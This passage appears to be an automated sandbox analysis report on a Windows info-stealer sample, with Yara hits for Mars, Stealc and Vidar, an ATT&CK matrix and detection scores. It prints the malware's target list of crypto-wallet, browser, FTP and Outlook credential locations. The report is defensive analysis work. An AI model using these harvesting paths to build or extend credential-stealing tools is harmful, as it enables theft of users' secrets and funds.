Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000064A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2295449194.00000000005A6000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rnteb46TuM.exe PID: 6408, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.Rnteb46TuM.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.6e6e496542.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rnteb46TuM.exe PID: 6408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6e6e496542.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.Rnteb46TuM.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.6e6e496542.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2295449194.0000000000501000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2416642437.0000000000411000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Rnteb46TuM.exe PID: 6408, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	661 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Rnteb46TuM.exe	82%	Virustotal		Browse
Rnteb46TuM.exe	92%	ReversingLabs	Win32.Spyware.Stealc
Rnteb46TuM.exe	100%	Avira	TR/Crypt.ZPACK.Gen
Rnteb46TuM.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	100%	Avira	TR/Crypt.ZPACK.Gen
